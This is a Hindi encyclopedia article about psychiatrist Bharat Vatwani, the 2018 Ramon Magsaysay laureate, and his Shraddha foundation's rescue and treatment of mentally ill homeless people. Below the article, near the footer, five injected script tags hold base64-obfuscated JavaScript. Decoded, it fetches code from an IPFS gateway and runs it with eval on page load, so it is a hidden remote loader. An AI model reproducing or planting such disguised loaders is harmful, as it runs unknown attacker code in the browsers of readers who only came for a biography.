भरत वाटवानी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
भरत वाटवानी

भरत वाटवानी (अंग्रेज़ी: Bharat Vatwani) वर्ष 2018 में रेमन मैग्सेसे पुरस्कार से सम्मानित भरतीय मनोचिकित्सक हैं। डॉ. भरत वटवानी को हजारों मानसिक रूप से बीमार गरीबों के इलाज के लिए उठाए गए महत्वपूर्ण कदमों के लिये इस पुरस्कार से सम्मानित किया गया। डॉ. भरत वाटवानी और उनकी पत्नी ने मानसिक रूप से बीमार सड़क के लोगों को इलाज के लिए अपने निजी क्लीनिक में लाने का एक अनौपचारिक अभियान शुरू किया था। साल 1988 में उन्होंने इसके लिए 'श्रद्धा पुनर्वास फाउंडेशन' का गठन किया। जिसका लक्ष्य सड़कों पर रहने वाले मानसिक रूप से बीमार व्यक्तियों को बचाना है। इसके तहत मुफ्त आश्रय, भोजन और मनोवैज्ञानिक उपचार प्रदान किया गया और उन्हें अपने परिवारों के साथ दोबारा मिलाया भी गया। उनके बचाव कार्य को पुलिस, सामाजिक कार्यकर्ताओं और रेफरल द्वारा सहायता मिली है। यहां निशुल्क इलाज, देखभाल, चिकित्सा जांच-पड़ताल, मनोवैज्ञानिक उपचार से लेकर उचित दवाओं को प्रबंध है।

समाजसेवा

समाजसेवा तो दिल से ही हो सकती है। जब तक दिल में समाज के प्रति संवेदना न हो, किसी से जबरन कुछ नहीं करवाया जा सकता। ऐसी ही एक संवेदना जगी थी डॉ. भरत वटवानी के हृदय में, जब उन्होंने उलझे बालों एवं गंदे-फटे कपड़ों वाले एक नौजवान को मुंबई में एक रेस्टोरेंट के बाहर नारियल के खोपरे में नाली का पानी पीते देखा था। डॉक्टरी के शुरुआती दिन थे। पत्नी स्मिता भी उन्हीं की तरह मानसिक चिकित्सक ही थीं। दोनों मिलकर पांच बेड का एक छोटा सा क्लीनिक चलाते थे। उस युवक को लाकर उसी क्लीनिक के एक बेड पर भर्ती कर लिया। इलाज शुरू हुआ। कुछ दिन में युवक ठीक हुआ तो पता चला कि वह पैथोलॉजिस्ट है। उसके पिता आंध्र प्रदेश में जिला परिषद के सुपरिनटेंडेंट थे। तब डॉ. भरत वटवानी को अहसास हुआ कि सड़कों पर घूमते ऐसे मानसिक रोगी भिखारी नहीं होते। इनका इलाज करके इन्हें एक ठीक-ठाक जिंदगी दी जा सकती है। इन्हें इनके परिवार से मिलवाया जा सकता है। और यहीं से शुरू हुआ डॉ. भरत वटवानी एवं डॉ. स्मिता वतवानी के सड़कों पर घूमते मानसिक रोगियों का इलाज कर उन्हें उनके घरवालों से मिलवाने का सफर, जो डॉ. भरत वटवानी को 'रेमन मैग्सेसे पुरस्कार' तक ले आया।[1]

बाबा आम्टे से मिली प्रेरणा

आज भी डॉ. भरत वटवानी मुंबई की सड़कों पर चलते हुए अचानक डॉइवर को गाड़ी रोकने और यू टर्न लेने को कहते हैं। क्योंकि सड़क चलते उनकी निगाहें किसी न किसी विक्षिप्त पर पड़ जाती हैं। यदि वह आसानी से चलने की स्थिति में होता है, तो गाड़ी में बैठा लेते हैं और वह पहुंच जाता है, मुंबई से करीब 100 किलोमीटर दूर कर्जत स्थित 'श्रद्धा पुनर्वसन केंद्र' पर। डॉ. भरत वटवानी ने इसकी शुरुआत 2006 में प्रसिद्ध समाजसेवी बाबा आम्टे की प्रेरणा से की थी। यहां 120 रोगियों को रखने की क्षमता है। लेकिन रहते हमेशा उससे ज्यादा ही हैं। एक रोगी को सामान्य करने में औसतन दो माह तक लग जाते हैं।

किसी-किसी को ज्यादा समय भी लग सकता है। सामान्य होने पर व्यक्ति से उसके घर-परिवार का पता पूछकर उसे उसके परिवार के पास भेज दिया जाता है। डॉ. भरत वटवानी कहते हैं कि 80 फीसद मामलों में परिवार बिछड़ गए अपने खून से मिलकर प्रसन्न ही होता है। कभी-कभार ही ऐसी स्थिति आती है कि पड़ोसियों, नाते-रिश्तेदारों या पुलिस की मदद से समझाने की जरूरत पड़े। डॉ. भरत वटवानी के श्रद्धा पुनर्वसन केंद्र में स्वयं डॉ. दंपति के अलावा दो और चिकित्सकों सहित 30 लोगों का स्टाफ है। देश की लगभग सभी भाषाओं को जानने वाले समाजसेवी कार्यकर्ता भी हैं, जो रोगियों से उनकी भाषा में बात करते हैं, और ठीक होने पर उन्हें उनके घर तक पहुंचाने में मददगार होते हैं। अब तक यह केंद्र करीब 7000 मानसिक रोगियों को ठीक कर उनके परिवारों से मिलवा चुका है।

देशव्यापी समस्या

डॉ. भरत वटवानी की अपनी सीमाएं हैं। जबकि समस्या देशव्यापी है। ऐसा कौन सा नगर होगा, जहां आपको सड़कों पर घूमते दो-चार विक्षिप्त दिन भर में नजर न आ जाते हों। डॉ. भरत वटवानी के अनुसार यह विक्षिप्तता (सिज़ोफ्रेनिया) भी डायबिटीज या ब्लडप्रेशर की तरह एक रोग मात्र है। यह किसी को भी हो सकता है और इसे ठीक भी किया जा सकता है। मानसिक रोगियों के लिए देश में कुछ स्थानों पर अस्पताल हैं भी। लेकिन रोगियों की संख्या को देखते हुए ये पर्याप्त नहीं हैं। सरकारी या निजी अस्पतालों में तो किसी परिजन या परिचित द्वारा लाए गए रोगी ही आ सकते हैं। उनका क्या होगा, जो एक शहर से भटककर दूसरे शहर में जा पहुंचे हैं? उनके लिए तो श्रद्धा पुनर्वसन केंद्र जैसे अनेक पुनर्वसन केंद्रों की जरूरत है, जो संवेदनशील मनोचिकित्सकों के आगे आने से ही खड़े हो सकते हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>